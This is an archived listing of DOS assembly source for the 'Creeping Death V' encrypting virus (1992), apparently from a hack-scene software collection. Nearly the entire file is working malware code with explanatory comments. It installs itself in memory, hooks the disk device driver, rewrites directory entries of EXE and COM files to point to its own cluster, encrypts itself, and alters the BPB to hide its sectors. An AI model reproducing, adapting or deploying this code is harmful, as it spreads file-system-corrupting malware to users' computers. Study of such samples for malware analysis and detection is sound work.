home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / CDEATH5.ASM < prev    next >
Assembly Source File  |  1992-10-11  |  24KB  |  606 lines
  1. ;*****************************************************************************;
  2. ;                                                                             ;
  3. ; Creeping Death V (Encrypting, try to find it)                               ;
  4. ;                  (Version 4 bug Fixed)                                      :
  5. ; (c) Copyright 1992 by Bit Addict                                            ;
  6. ;                                                                             ;
  7. ;*****************************************************************************;
  8.  
  9. code segment public 'code'
  10.         assume  cs:code, ds:code, es:code
  11.         org     5ch
  12.  
  13. ;*****************************************************************************;
  14. ;                                                                             ;
  15. ; Data                                                                        ;
  16. ;                                                                             ;
  17. ;*****************************************************************************;
  18.  
  19. BPB_Buf:        db      32 dup(?)               ; buffer for BPB
  20. EncryptWrite2:  db      36 dup(?)               ; Encrypt DoRequest Encrypt
  21.  
  22. Request         equ     this dword              ; address of the request header
  23. RequestOffset   dw      ?
  24. RequestSegment  dw      ?
  25.  
  26.         org     100h
  27.  
  28. ;*****************************************************************************;
  29. ;                                                                             ;
  30. ; Actual start of virus. In this part the virus initializes the stack and     ;
  31. ; adjusts the device driver used by dos to read and write from floppy's and   ;
  32. ; hard disks. Then it will start the orginal exe or com-file                  ;
  33. ;                                                                             ;
  34. ;*****************************************************************************;
  35.  
  36. Encrypt:        mov     si,offset Main-1
  37.         mov     cx,400h-11
  38. Repeat:         xor     byte ptr [si],0
  39.         inc     si
  40.         loop    Repeat
  41.  
  42. Main:           mov     sp,600h                 ; init stack
  43.         inc     Counter
  44.  
  45. ;*****************************************************************************;
  46. ;                                                                             ;
  47. ; Get dosversion, if the virus is running with dos 4+ then si will be 0 else  ;
  48. ; si will be -1                                                               ;
  49. ;                                                                             ;
  50. ;*****************************************************************************;
  51.  
  52. DosVersion:     mov     ah,30h                  ; fn 30h = Get Dosversion
  53.         int     21h                     ; int 21h
  54.         cmp     al,4                    ; major dosversion 
  55.         sbb     di,di
  56.         mov     byte ptr ds:drive[2],-1 ; set 2nd operand of cmp ah,??
  57.  
  58. ;*****************************************************************************;
  59. ;                                                                             ;
  60. ; Adjust the size of the codesegment, with dos function 4ah                   ;
  61. ;                                                                             ;
  62. ;*****************************************************************************;
  63.  
  64.         mov     bx,60h                  ; Adjust size of memory block
  65.         mov     ah,4ah                  ; to 60 paragraphs = 600h bytes
  66.         int     21h                     ; int 21h
  67.  
  68.         mov     ah,52h                  ; get internal list of lists
  69.         int     21h                     ; int 21h
  70.  
  71. ;*****************************************************************************;
  72. ;                                                                             ;
  73. ; If the virus code segment is located behind the dos config memory block the ;
  74. ; code segment will be part of the config memory block making it 61h          ;
  75. ; paragraphs larger. If the virus is not located next to the config memory    ;
  76. ; block the virus will set the owner to 8h (Dos system)                       ;
  77. ;                                                                             ;
  78. ;*****************************************************************************;
  79.  
  80.         mov     ax,es:[bx-2]            ; segment of first MCB
  81.         mov     dx,cs                   ; dx = MCB of the code segment
  82.         dec     dx
  83. NextMCB:        mov     ds,ax                   ; ax = segment next MCB
  84.         add     ax,ds:[3]
  85.         inc     ax
  86.         cmp     ax,dx                   ; are they equal ?
  87.         jne     NextMCB                 ; no, not 1st program executed
  88.         cmp     word ptr ds:[1],8
  89.         jne     NoBoot
  90.         add     word ptr ds:[3],61h     ; add 61h to size of block
  91. NoBoot:         mov     ds,dx                   ; ds = segment of MCB
  92.         mov     word ptr ds:[1],8       ; owner = dos system
  93.  
  94. ;*****************************************************************************;
  95. ;                                                                             ;
  96. ; The virus will search for the disk paramenter block for drive a: - c: in    ;
  97. ; order to find the device driver for these block devices. If any of these    ;
  98. ; blocks is found the virus will install its own device driver and set the    ;
  99. ; access flag to -1 to tell dos this device hasn't been accesed yet.          ;
  100. ;                                                                             ;
  101. ;*****************************************************************************;
  102.  
  103.         cld                             ; clear direction flag
  104.         lds     bx,es:[bx]              ; get pointer to first drive
  105.                         ; paramenter block
  106.  
  107. Search:         cmp     bx,-1                   ; last block ?
  108.         je      Last
  109.         mov     ax,ds:[bx+di+15h]       ; get segment of device header
  110.         cmp     ax,70h                  ; dos device header ??
  111.         jne     Next                    ; no, go to next device
  112.         xchg    ax,cx
  113.         mov     byte ptr ds:[bx+di+18h],-1 ; set access flag to "drive 
  114.                         ; has not been accessed"
  115.         mov     si,offset Header-4      ; set address of new device
  116.         xchg    si,ds:[bx+di+13h]       ; and save old address
  117.         mov     ds:[bx+di+15h],cs
  118. Next:           lds     bx,ds:[bx+di+19h]       ; next drive parameter block
  119.         jmp     Search
  120.  
  121. ;*****************************************************************************;
  122. ;                                                                             ;
  123. ; If the virus has failed in starting the orginal exe-file it will jump here. ;
  124. ;                                                                             ;
  125. ;*****************************************************************************;
  126.  
  127. Boot:           mov     ds,ds:[16h]             ; es = parent PSP
  128.         mov     bx,ds:[16h]             ; bx = parent PSP of Parent PSP
  129.         xor     si,si
  130.         sub     bx,1
  131.         jnb     Exec
  132.         mov     ax,cs
  133.         dec     ax
  134.         mov     ds,ax
  135.         mov     cx,8
  136.         mov     si,8
  137.         mov     di,0ffh
  138. Count:          lodsb
  139.         or      al,al
  140.         loopne  Count
  141.         not     cx
  142.         and     cx,7
  143. NextByte:       mov     si,8
  144.         inc     di
  145.         push    di
  146.         push    cx
  147.         rep     cmpsb
  148.         pop     cx
  149.         pop     di
  150.         jne     NextByte
  151. BeginName:      dec     di
  152.         cmp     byte ptr es:[di-1],0
  153.         jne     BeginName
  154.         mov     si,di
  155.         mov     bx,es
  156.         jmp     short Exec
  157.  
  158. ;*****************************************************************************;
  159. ;                                                                             ;
  160. ; If none of these devices is found it means the virus is already resident    ;
  161. ; and the virus wasn't able to start the orginal exe-file (the file is        ;
  162. ; corrupted by copying it without the virus memory resident). If the device   ;
  163. ; is found the information in the header is copied.                           ;
  164. ;                                                                             ;
  165. ;*****************************************************************************;
  166.  
  167. Last:           jcxz    Exit
  168.  
  169. ;*****************************************************************************;
  170. ;                                                                             ;
  171. ; The information about the dos device driver is copyed to the virus code     ;
  172. ; segment                                                                     ;
  173. ;                                                                             ;
  174. ;*****************************************************************************;
  175.  
  176.         mov     ds,cx                   ; ds = segment of Device Driver
  177.         add     si,4
  178.         push    cs
  179.         pop     es
  180.         mov     di,offset Header
  181.         movsw
  182.         lodsw
  183.         mov     es:StrBlock,ax
  184.         mov     ax,offset Strategy
  185.         stosw
  186.         lodsw
  187.         mov     es:IntBlock,ax
  188.         mov     ax,offset Interrupt
  189.         stosw
  190.         movsb
  191.  
  192. ;*****************************************************************************;
  193. ;                                                                             ;
  194. ; Deallocate the environment memory block and start the this file again, but  ;
  195. ; if the virus succeeds it will start the orginal exe-file.                   ;
  196. ;                                                                             ;
  197. ;*****************************************************************************;
  198.  
  199.         push    cs
  200.         pop     ds
  201.         mov     bx,ds:[2ch]             ; environment segment
  202.         or      bx,bx                   ; =0 ?
  203.         jz      Boot
  204.         mov     es,bx
  205.         mov     ah,49h                  ; deallocate memory
  206.         int     21h
  207.         xor     ax,ax
  208.         mov     di,1
  209. Seek:           dec     di                      ; scan for end of environment
  210.         scasw
  211.         jne     Seek
  212.         lea     si,ds:[di+2]            ; es:si = start of filename
  213. Exec:           push    bx
  214.         push    cs
  215.         pop     ds
  216.         mov     bx,offset Param
  217.         mov     ds:[bx+4],cs            ; set segments in EPB
  218.         mov     ds:[bx+8],cs
  219.         mov     ds:[bx+12],cs
  220.         pop     ds
  221.         push    cs
  222.         pop     es
  223.  
  224.         mov     di,offset f_name        ; copy name of this file
  225.         push    di
  226.         mov     cx,40
  227.         rep     movsw
  228.         push    cs
  229.         pop     ds
  230.  
  231.         mov     ah,3dh                  ; open file, this file will
  232.         mov     dx,offset File          ; not be found but the entire
  233.         int     21h                     ; directory is searched and
  234.         pop     dx                      ; infected
  235.  
  236.         mov     ax,4b00h                ; execute file
  237.         int     21h
  238. Exit:           mov     ah,4dh                  ; get exit-code
  239.         int     21h
  240.         mov     ah,4ch                  ; terminate (al = exit code)
  241.         int     21h
  242.  
  243. ;*****************************************************************************;
  244. ;                                                                             ;
  245. ; Installation complete                                                       ;
  246. ;                                                                             ;
  247. ;*****************************************************************************;
  248. ;                                                                             ;
  249. ; The next part contains the device driver used by creeping death to infect   ;
  250. ; directory's                                                                 ;
  251. ;                                                                             ;
  252. ; The device driver uses only the strategy routine to handle the requests.    ;
  253. ; I don't know if this is because the virus will work better or the writer    ;
  254. ; of this virus didn't know how to do it right.                               ;
  255. ;                                                                             ;
  256. ;*****************************************************************************;
  257.  
  258.  
  259. Strategy:       mov     cs:RequestOffset,bx
  260.         mov     cs:RequestSegment,es
  261.         retf
  262.  
  263. Interrupt:      push    ax                      ; driver strategy block
  264.         push    bx
  265.         push    cx                      ; save registers
  266.         push    dx
  267.         push    si
  268.         push    di
  269.         push    ds
  270.         push    es
  271.  
  272.         les     bx,cs:Request
  273.         push    es
  274.         pop     ds
  275.         mov     al,ds:[bx+2]            ; Command Code
  276.  
  277.         cmp     al,4                    ; Input
  278.         je      Input
  279.         cmp     al,8                    ; Output
  280.         je      Output
  281.         cmp     al,9
  282.         je      Output
  283.  
  284.         call    DoRequest
  285.  
  286.         cmp     al,2                    ; Build BPB
  287.         jne     Return
  288.         lds     si,ds:[bx+12h]          ; copy the BPB and change it
  289.         mov     di,offset bpb_buf       ; into one that hides the virus
  290.         mov     es:[bx+12h],di
  291.         mov     es:[bx+14h],cs
  292.         push    es                      ; copy
  293.         push    cs
  294.         pop     es
  295.         mov     cx,16
  296.         rep     movsw
  297.         pop     es
  298.         push    cs
  299.         pop     ds
  300.         mov     al,ds:[di+2-32]         ; change
  301.         cmp     al,2
  302.         adc     al,0
  303.         cbw
  304.         cmp     word ptr ds:[di+8-32],0 ; >32mb partition ?
  305.         je      m32                     ; yes, jump to m32
  306.         sub     ds:[di+8-32],ax         ; <32mb partition
  307.         jmp     short Return
  308. m32:            sub     ds:[di+15h-32],ax       ; >32mb partition
  309.         sbb     word ptr ds:[di+17h-32],0
  310. Return:         pop     es                      ; return to caller
  311.         pop     ds
  312.         pop     di
  313.         pop     si
  314.         pop     dx
  315.         pop     cx
  316.         pop     bx
  317.         pop     ax
  318.         retf
  319.  
  320. Output:         mov     cx,0ff09h               ; check if disk changed
  321.         call    check
  322.         jz      InfectSector            ; no, just infect sector
  323.         call    DoRequest               ; yes, write virus to disk
  324.         jmp     short inf_dsk
  325.  
  326. InfectSector:   jmp     _InfectSector           ; infect sector
  327. Read:           jmp     _Read                   ; read sector
  328. ReadError:      add     sp,16                   ; error during request
  329.         jmp     short Return
  330.  
  331. Input:          call    check                   ; check if disk changed
  332.         jz      Read                    ; no, read sector
  333. inf_dsk:        mov     byte ptr ds:[bx+2],4    ; yes, write virus to disk
  334.         cld                             ; save last part of request
  335.         lea     si,ds:[bx+0eh]
  336.         mov     cx,8
  337. save:           lodsw
  338.         push    ax
  339.         loop    save
  340.         mov     word ptr ds:[bx+14h],1  ; read 1st sector on disk
  341.         call    ReadSector
  342.         jnz     ReadError
  343.         mov     byte ptr ds:[bx+2],2    ; build BPB
  344.         call    DoRequest
  345.         lds     si,ds:[bx+12h]          ; ds:si = BPB
  346.         mov     di,ds:[si+6]            ; size of root directory
  347.         add     di,15                   ; in sectors
  348.         mov     cl,4
  349.         shr     di,cl
  350.         mov     al,ds:[si+5]
  351.         cbw
  352.         mov     dx,ds:[si+0bh]
  353.         mul     dx                      ; ax=fat sectors, dx=0
  354.         add     ax,ds:[si+3]
  355.         add     di,ax
  356.         push    di                      ; save it on stack
  357.         mov     ax,ds:[si+8]            ; total number of sectors
  358.         cmp     ax,dx                   ; >32mb
  359.         jnz     more                    ; no, skip next 2 instructions
  360.         mov     ax,ds:[si+15h]          ; get number of sectors
  361.         mov     dx,ds:[si+17h]
  362. more:           xor     cx,cx                   ; cx=0
  363.         sub     ax,di                   ; dx:ax=number is data sectors
  364.         sbb     dx,cx
  365.         mov     cl,ds:[si+2]            ; cx=sectors / cluster
  366.         div     cx                      ; number of clusters on disk
  367.         cmp     cl,2                    ; 1 sector/cluster ?
  368.         sbb     ax,-1                   ; number of clusters (+1 or +2)
  369.         push    ax                      ; save it on stack
  370.         call    Convert                 ; get fat sector and offset in
  371.         mov     byte ptr es:[bx+2],4    ; sector
  372.         mov     es:[bx+14h],ax
  373.         call    ReadSector              ; read fat sector
  374. again:          lds     si,es:[bx+0eh]
  375.         add     si,dx
  376.         sub     dh,cl                   ; has something to do with the
  377.         adc     dx,ax                   ; encryption of the pointers
  378.         mov     word ptr cs:[gad+1],dx
  379.         cmp     cl,1                    ; 1 sector / cluster
  380.         jne     Ok
  381. SmallModel:     not     di                      ; this is used when the
  382.         and     ds:[si],di              ; clusters are 1 sector long
  383.         pop     ax
  384.         push    ax
  385.         inc     ax
  386.         push    ax
  387.         mov     dx,0fh
  388.         test    di,dx
  389.         jz      here
  390.         inc     dx
  391.         mul     dx
  392. here:           or      ds:[si],ax
  393.         pop     ax
  394.         call    Convert
  395.         mov     si,es:[bx+0eh]
  396.         add     si,dx
  397. Ok:             mov     ax,ds:[si]
  398.         and     ax,di
  399.         mov     dx,di                   ; allocate cluster
  400.         dec     dx
  401.         and     dx,di
  402.         not     di
  403.         and     ds:[si],di
  404.         or      ds:[si],dx
  405.         cmp     ax,dx                   ; cluster already allocated by
  406.         pop     ax                      ; the virus ?
  407.         pop     di
  408.         mov     word ptr cs:[pointer+1],ax
  409.         je      _Read_                  ; yes, don't write it and go on
  410.         mov     dx,ds:[si]
  411.         push    ds
  412.         push    si
  413.         mov     byte ptr es:[bx+2],8    ; write
  414.         call    DoRequest               ; write the adjusted sector to
  415.         pop     si                      ; disk
  416.         pop     ds
  417.         jnz     _Read_
  418.         call    ReadSector              ; read it again
  419.         cmp     ds:[si],dx              ; is it written correctly ?
  420.         jne     _Read_                  ; no, can't infect disk
  421.         dec     ax
  422.         dec     ax                      ; calculate the sector number
  423.         mul     cx                      ; to write the virus to
  424.         add     ax,di
  425.         adc     dx,0
  426.         push    es
  427.         pop     ds
  428.         mov     word ptr ds:[bx+12h],2
  429.         mov     ds:[bx+14h],ax          ; store it in the request hdr
  430.         test    dx,dx
  431.         jz      less
  432.         mov     word ptr ds:[bx+14h],-1
  433.         mov     ds:[bx+1ah],ax
  434.         mov     ds:[bx+1ch],dx
  435. less:           mov     ds:[bx+10h],cs
  436.         mov     ds:[bx+0eh],100h
  437.         mov     byte ptr es:[bx+2],8    ; write it
  438.         call    EncryptWrite1
  439.  
  440. _Read_:         mov     byte ptr ds:[bx+2],4    ; restore this byte
  441.         std                             ; restore other part of the
  442.         lea     di,ds:[bx+1ch]          ; request
  443.         mov     cx,8
  444. load:           pop     ax
  445.         stosw
  446.         loop    load
  447. _Read:          call    DoRequest               ; do request
  448.  
  449.         mov     cx,9
  450. _InfectSector:  mov     di,es:[bx+12h]          ; get number of sectors read
  451.         lds     si,es:[bx+0eh]          ; get address of data
  452.         sal     di,cl                   ; calculate end of buffer
  453.         xor     cl,cl
  454.         add     di,si
  455.         xor     dl,dl
  456.         push    ds                      ; infect the sector
  457.         push    si
  458.         call    find
  459.         jcxz    no_inf                  ; write sector ?
  460.         mov     al,8
  461.         xchg    al,es:[bx+2]            ; save command byte
  462.         call    DoRequest               ; write sector
  463.         mov     es:[bx+2],al            ; restore command byte
  464.         and     byte ptr es:[bx+4],07fh
  465. no_inf:         pop     si
  466.         pop     ds
  467.         inc     dx                      ; disinfect sector in memory
  468.         call    find
  469.         jmp     Return                  ; return to caller
  470.  
  471. ;*****************************************************************************;
  472. ;                                                                             ;
  473. ; Subroutines                                                                 ;
  474. ;                                                                             ;
  475. ;*****************************************************************************;
  476.  
  477. find:           mov     ax,ds:[si+8]            ; (dis)infect sector in memory
  478.         cmp     ax,"XE"                 ; check for .exe
  479.         jne     com
  480.         cmp     ds:[si+10],al
  481.         je      found
  482. com:            cmp     ax,"OC"                 ; check for .com
  483.         jne     go_on
  484.         cmp     byte ptr ds:[si+10],"M"
  485.         jne     go_on
  486. found:          test    word ptr ds:[si+1eh],0ffc0h ; file to big
  487.         jnz     go_on                       ; more than 4mb
  488.         test    word ptr ds:[si+1dh],03ff8h ; file to small
  489.         jz      go_on                       ; less than  2048 bytes
  490.         test    byte ptr ds:[si+0bh],1ch    ; directory, system or
  491.         jnz     go_on                       ; volume label
  492.         test    dl,dl                   ; infect or disinfect ?
  493.         jnz     rest
  494. pointer:        mov     ax,1234h                ; ax = viral cluster
  495.         cmp     ax,ds:[si+1ah]          ; file already infected ?
  496.         je      go_on                   ; yes, go on
  497.         xchg    ax,ds:[si+1ah]          ; exchange pointers
  498. gad:            xor     ax,1234h                ; encryption
  499.         mov     ds:[si+14h],ax          ; store it on another place
  500.         loop    go_on                   ; change cx and go on
  501. rest:           xor     ax,ax                   ; ax = 0
  502.         xchg    ax,ds:[si+14h]          ; get pointer
  503.         xor     ax,word ptr cs:[gad+1]  ; Encrypt
  504.         mov     ds:[si+1ah],ax          ; store it on the right place
  505. go_on:          rol     word ptr cs:[gad+1],1   ; change encryption
  506.         add     si,32                   ; next directory entry
  507.         cmp     di,si                   ; end of buffer ?
  508.         jne     find                    ; no, do it again
  509.         ret                             ; return
  510.  
  511. check:          mov     ah,ds:[bx+1]                    ; get number of unit
  512. drive:          cmp     ah,-1                           ; same as last call ?
  513.         mov     byte ptr cs:[drive+2],ah        ; set 2nd parameter
  514.         jne     changed
  515.         push    ds:[bx+0eh]                     ; save word
  516.         mov     byte ptr ds:[bx+2],1            ; disk changed ?
  517.         call    DoRequest
  518.         cmp     byte ptr ds:[bx+0eh],1          ; 1=Yes
  519.         pop     ds:[bx+0eh]                     ; restore word
  520.         mov     ds:[bx+2],al                    ; restore command
  521. changed:        ret                                     ; return
  522.  
  523. ReadSector:     mov     word ptr es:[bx+12h],1          ; read sector from disk
  524.  
  525. DoRequest:      db      09ah                    ; call 70:?, orginal strategy
  526. StrBlock        dw      ?,70h
  527.         db      09ah                    ; call 70:?, orginal interrupt
  528. IntBlock        dw      ?,70h
  529.         test    byte ptr es:[bx+4],80h  ; error ? yes, zf = 0
  530.         ret                             ; return
  531.  
  532. Convert:        cmp     ax,0ff0h                ; convert cluster number into
  533.         jae     fat_16                  ; an sector number and offset
  534.         mov     si,3                    ; into this sector containing
  535.         xor     word ptr cs:[si+gad-1],si       ; the fat-item of this
  536.         mul     si                              ; cluster
  537.         shr     ax,1
  538.         mov     di,0fffh
  539.         jnc     cont
  540.         mov     di,0fff0h
  541.         jmp     short cont
  542. fat_16:         mov     si,2
  543.         mul     si
  544.         mov     di,0ffffh
  545. cont:           mov     si,512
  546.         div     si
  547.         inc     ax
  548.         ret
  549.  
  550. EncryptWrite1:  push    ds
  551.         push    cs
  552.         pop     ds
  553.         push    es
  554.         push    cs
  555.         pop     es
  556.         cld
  557.         mov     cx,12
  558.         mov     si,offset Encrypt
  559.         mov     di,offset EncryptWrite2
  560.         inc     byte ptr ds:[si+8]
  561.         rep     movsb
  562.         mov     cl,10
  563.         mov     si,offset DoRequest
  564.         rep     movsb
  565.         mov     cl,12
  566.         mov     si,offset Encrypt
  567.         rep     movsb
  568.         mov     ax,0c31fh
  569.         stosw
  570.         pop     es
  571.         jmp     EncryptWrite2
  572.  
  573. ;*****************************************************************************;
  574. ;                                                                             ;
  575. ; Data                                                                        ;
  576. ;                                                                             ;
  577. ;*****************************************************************************;
  578.  
  579. File:           db      "C:",255,0              ; the virus tries to open this
  580.                         ; file
  581.  
  582. Counter         dw      0                       ; this will count the number of
  583.                         ; systems that are infected by
  584.                         ; this virus
  585.  
  586. Param:          dw      0,80h,?,5ch,?,6ch,?     ; parameters for the
  587.                         ; exec-function
  588.  
  589. Signature       db      'CREEPING DEATH 3'      ; Signature
  590.  
  591. Header          db      7 dup(?)                ; this is the header for the
  592.                         ; device driver
  593.  
  594. f_name:         db      ?                       ; Buffer for the filename used
  595.                         ; by the exec-function
  596.  
  597. ;*****************************************************************************;
  598. ;                                                                             ;
  599. ; The End                                                                     ;
  600. ;                                                                             ;
  601. ;*****************************************************************************;
  602.  
  603. code ends
  604.  
  605. end Encrypt
  606.